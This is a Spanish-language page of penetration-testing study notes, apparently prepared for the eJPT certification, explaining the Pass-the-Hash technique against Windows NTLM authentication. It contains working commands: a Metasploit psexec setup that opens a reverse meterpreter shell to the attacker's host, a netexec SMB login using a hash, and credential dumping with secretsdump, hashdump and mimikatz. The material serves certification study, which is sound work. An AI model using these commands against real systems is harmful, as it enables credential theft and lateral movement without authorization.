> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/metodologias-de-evaluacion/evaluacion-de-vulnerabilidad/analisis-de-vulnerabilidades/pass-the-hash.md).

# Pass-The-Hash

## 📘 ¿Qué es Pass-The-Hash?

**Pass-the-Hash (PtH)** es una técnica de post-explotación que permite a un atacante autenticarse en sistemas remotos utilizando únicamente el **hash NTLM** de la contraseña de un usuario, **sin necesidad de conocer la contraseña en texto claro**.

Esta técnica se basa en una debilidad fundamental del protocolo de autenticación NTLM, muy utilizado en entornos **Windows**.

***

## 🧬 ¿Cómo funciona?

* Windows utiliza **NTLM hashes** como parte del proceso de autenticación.
* Si un atacante puede **capturar o extraer** un hash NTLM válido (por ejemplo, de SAM, LSASS, o de la red), puede **utilizarlo directamente para autenticarse** en otros sistemas de la red.
* Este tipo de ataque permite **movimiento lateral**, escalación de privilegios y persistencia dentro del entorno comprometido.

***

## 🎯 Requisitos

* Acceso al **hash NTLM** del usuario objetivo.
* Conectividad de red con el sistema remoto.
* Servicios habilitados que acepten autenticación NTLM (ej. SMB, WinRM, RDP...).

***

## 🛠️ Herramientas comunes

#### ✅ Metasploit (módulo `psexec`)

```bash
use exploit/windows/smb/psexec
```

**Opciones clave:**

```bash
set RHOSTS <IP objetivo>
set SMBUser <usuario>
set SMBPass <hash NTLM>
set SMBDomain WORKGROUP
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <tu IP>
run
```

> ⚠️ Establece el `SMBPass` con el **hash NTLM**, no con la contraseña.

***

## ✅ CrackMapExec / NetExec

**Autenticarse con hash NTLM vía SMB:**

```bash
netexec smb <IP> -u administrator -H <NTLM_hash>
```

**Ejemplo:**

```bash
netexec smb 10.10.10.5 -u admin -H aad3b435b51404eeaad3b435b51404ee:25d55ad283aa400af464c76d713c07ad
```

**Nota:** Puedes usar solo la segunda parte si es un hash NT (omitimos el LM hash).

***

## 🔍 ¿Cómo obtener hashes?

1. **Volcado de SAM** con acceso local:

   ```bash
   secretsdump.py -sam SAM -system SYSTEM LOCAL
   ```
2. **Volcado remoto con credenciales**:

   ```bash
   secretsdump.py <dominio>/<usuario>:<contraseña>@<IP>
   ```
3. **Desde un shell de meterpreter:**

   ```bash
   hashdump
   ```
4. **Volcado desde LSASS usando mimikatz:**

   ```bash
   sekurlsa::logonpasswords
   ```
